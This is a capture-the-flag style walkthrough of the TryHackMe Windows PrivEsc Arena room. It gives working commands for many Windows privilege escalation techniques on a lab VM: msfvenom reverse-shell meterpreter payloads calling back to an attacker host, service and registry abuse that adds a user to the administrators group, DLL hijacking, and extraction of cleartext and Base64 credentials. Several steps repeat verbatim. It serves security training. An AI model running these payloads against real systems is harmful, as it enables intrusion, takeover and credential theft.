Windows PrivEsc Arena
Last updated
Last updated
Room Link: https://tryhackme.com/r/room/windowsprivescarena
Kali
Open a command prompt and run 'net user'. Who is the other non-default user on the machine?
Victim
Windows VM
1. Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
Victim
2. In Autoruns, click on the ‘Logon’ tab.
3. From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.
4. In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
Victim
5. From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.
Kali VM
1. Open command prompt and type: msfconsole
Kali
Kali(msfconsole)
6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
Kali
7. Copy the generated file, program.exe, to the Windows VM.
Kali
Windows VM
1. Place program.exe in ‘C:\Program Files\Autorun Program’.
Victim
2. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.
Victim
Kali VM
1. Wait for a new session to open in Metasploit.
2. In Metasploit (msf > prompt) type: sessions -i [Session ID]
Kali(msfconsole)
3. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid
Kali(meterpreter)
Windows VM
1. Open command prompt and type: C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
Victim
2. In Autoruns, click on the ‘Logon’ tab. 3. From the listed results, notice that the “My Program” entry is pointing to “C:\Program Files\Autorun Program\program.exe”.
4. In command prompt type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
Victim
5. From the output, notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.
Kali VM
1. Open command prompt and type: msfconsole
Kali
2. In Metasploit (msf > prompt) type: use multi/handler 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address] 5. In Metasploit (msf > prompt) type: run
Kali(msfconsole)
6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
Kali
7. Copy the generated file, program.exe, to the Windows VM.
Kali
Victim
Windows VM
1. Place program.exe in ‘C:\Program Files\Autorun Program’. 2. To simulate the privilege escalation effect, logoff and then log back on as an administrator user.
Kali
Kali VM
1. Wait for a new session to open in Metasploit.
2. In Metasploit (msf > prompt) type: sessions -i [Session ID] 3. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid
Windows VM
1.Open command prompt and type: reg query HKLM\Software\Policies\Microsoft\Windows\Installer
Victim
2.From the output, notice that “AlwaysInstallElevated” value is 1. 3.In command prompt type: reg query HKCU\Software\Policies\Microsoft\Windows\Installer
Victim
4.From the output, notice that “AlwaysInstallElevated” value is 1.
Kali VM
1. Open command prompt and type: msfconsole
Kali
2. In Metasploit (msf > prompt) type: use multi/handler 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address] 5. In Metasploit (msf > prompt) type: run
Kali (msfconsole)
6. Open an additional command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f msi -o setup.msi 7. Copy the generated file, setup.msi, to the Windows VM.
Kali
Kali
Victim
Windows VM
1.Place ‘setup.msi’ in ‘C:\Temp’. 2.Open command prompt and type: msiexec /quiet /qn /i C:\Temp\setup.msi
Victim
Kali VM
1. Wait for a new session to open in Metasploit. 2. In Metasploit (msf > prompt) type: sessions -i [Session ID] 3. To confirm that the attack succeeded, in Metasploit (msf > prompt) type: getuid
Kali (msfconsole)
Windows VM
1. Open powershell prompt and type: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl 2. Notice that the output suggests that user belong to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.
Victim(powershell)
Windows VM
1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_service.c’ to the Kali VM.
Kali
Victim
Kali VM
1. Open windows_service.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
windows_service.c
Kali
From
To
2. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_service.c -o x.exe (NOTE: if this is not installed, use 'sudo apt install gcc-mingw-w64')
Kali
3. Copy the generated file x.exe, to the Windows VM.
Victim
Windows VM
1. Place x.exe in ‘C:\Temp’. 2. Open command prompt at type: reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
Victim
3. In the command prompt type: sc start regsvc
Victim
4. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Victim
Windows VM
1. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
Victim
2. Notice that the “Everyone” user group has “FILE_ALL_ACCESS” permission on the filepermservice.exe file.
Windows VM
1. Open command prompt and type: copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
Victim
2. In command prompt type: sc start filepermsvc
Victim
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Victim
Windows VM
1. Open command prompt and type: icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Victim
2. From the output notice that the “BUILTIN\Users” group has full access ‘(F)’ to the directory.
Kali VM
1. Open command prompt and type: msfconsole
Kali
2. In Metasploit (msf > prompt) type: use multi/handler 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address] 5. In Metasploit (msf > prompt) type: run
Kali(msfconsole)
6. Open another command prompt and type: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe 7. Copy the generated file, x.exe, to the Windows VM.
Windows VM
1. Place x.exe in “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”. 2. Logoff.
Victim
3. Login with the administrator account credentials.
Kali
Kali VM
1. Wait for a session to be created, it may take a few seconds. 2. In Meterpreter(meterpreter > prompt) type: getuid 3. From the output, notice the user is “User-PC\Admin”
Kali(msfconsole)
Windows VM
1. Open the Tools folder that is located on the desktop and then go the Process Monitor folder. 2. In reality, executables would be copied from the victim’s host over to the attacker’s host for analysis during run time. Alternatively, the same software can be installed on the attacker’s host for analysis, in case they can obtain it. To simulate this, right click on Procmon.exe and select ‘Run as administrator’ from the menu.
3. In procmon, select "filter". From the left-most drop down menu, select ‘Process Name’. 4. In the input box on the same line type: dllhijackservice.exe
5. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
6. Next, select from the left-most drop down menu ‘Result’.
7. In the input box on the same line type: NAME NOT FOUND 8. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the ‘Add’ button, then ‘Apply’ and lastly on ‘OK’.
9. Open command prompt and type: sc start dllsvc
Victim
10. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute ‘C:\Temp\hijackme.dll’ yet it could not do that as the file was not found. Note that ‘C:\Temp’ is a writable location.
Windows VM
1. Copy ‘C:\Users\User\Desktop\Tools\Source\windows_dll.c’ to the Kali VM.
Victim
Kali VM
1. Open windows_dll.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add
Kali
From
To
2. Exit the text editor and compile the file by typing the following in the command prompt: x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
Kali
3. Copy the generated file hijackme.dll, to the Windows VM.
Victim
1. Open command prompt and type: sc stop dllsvc & sc start dllsvc
Victim
2. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Victim
Windows VM
1. Open command prompt and type: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc
Victim
2. Notice that the output suggests that the user “User-PC\User” has the “SERVICE_CHANGE_CONFIG” permission.
Windows VM
1. In command prompt type: sc config daclsvc binpath= "net localgroup administrators user /add"
Victim
2. In command prompt type: sc start daclsvc
Victim
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Victim
Windows VM
1. Open command prompt and type: sc qc unquotedsvc
Victim
2. Notice that the “BINARY_PATH_NAME” field displays a path that is not confined between quotes.
Kali VM
1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
Kali
2. Copy the generated file, common.exe, to the Windows VM.
Victim
Windows VM
1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’. 2. Open command prompt and type: sc start unquotedsvc
Victim
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Victim
1. Open command prompt and type: sc qc unquotedsvc
Victim
2. Notice that the “BINARY_PATH_NAME” field displays a path that is not confined between quotes.
1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
Kali
2. Copy the generated file, common.exe, to the Windows VM.
Victim
Windows VM
1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’. 2. Open command prompt and type: sc start unquotedsvc
Victim
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators
Victim
1. In command prompt type: powershell.exe -nop -ep bypass
Victim
2. In Power Shell prompt type: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
Victim(Powershell)
3. In Power Shell prompt type: Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
Victim(Powershell)
4. To confirm that the attack was successful, in Power Shell prompt type: net localgroup administrators
Victim(Powershell)
1. Open command prompt and type: typeC:\Windows\Panther\Unattend.xml
Victim
2. Scroll down to the “<Password>” property and copy the base64 string that is confined between the “<Value>” tags underneath it.
1. In a terminal, type: echo [copied base64] | base64 -d
Victim
2. Notice the cleartext password
1.Open command prompt and type: msfconsole
Kali
2.In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic 3.In Metasploit (msf > prompt) type: set uripath x 4.In Metasploit (msf > prompt) type: run
Kali(msfconsole)
Windows VM
Open Internet Explorer and browse to: http://[Kali VM IP Address]/x
2. Open command prompt and type: taskmgr
Victim
3.In Windows Task Manager, right-click on the “iexplore.exe” in the “Image Name” column and select “Create Dump File” from the popup menu.
4.Copy the generated file, iexplore.DMP, to the Kali VM.
Victim
1.Open command prompt and type: strings iexplore.DMP | grep "Authorization: Basic"
Kali
2.Select the Copy the Base64 encoded string. 3.In command prompt type: echo -ne [Base64 String] | base64 -d
Victim
5.Notice the credentials in the output.
Kali VM
1. Open command prompt and type: msfconsole
Kali
2. In Metasploit (msf > prompt) type: use multi/handler 3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp 4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address] 5. In Metasploit (msf > prompt) type: run
Kali(msfconsole)
6. Open an additional command prompt and type: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe > shell.exe
Kali
7. Copy the generated file, shell.exe, to the Windows VM.
Kali
Windows VM
1. Execute shell.exe and obtain reverse shell
Victim
Kali VM
1. In Metasploit (msf > prompt) type: run post/multi/recon/local_exploit_suggester 2. Identify exploit/windows/local/ms16_014_wmi_recv_notif as a potential privilege escalation 3. In Metasploit (msf > prompt) type: use exploit/windows/local/ms16_014_wmi_recv_notif 4. In Metasploit (msf > prompt) type: set SESSION [meterpreter SESSION number] 5. In Metasploit (msf > prompt) type: set LPORT 5555 6. In Metasploit (msf > prompt) type: run
Kali(msfconsole)
NOTE: The shell might default to your eth0 during this attack. If so, ensure you type set lhost [Kali VM IP Address] and run again.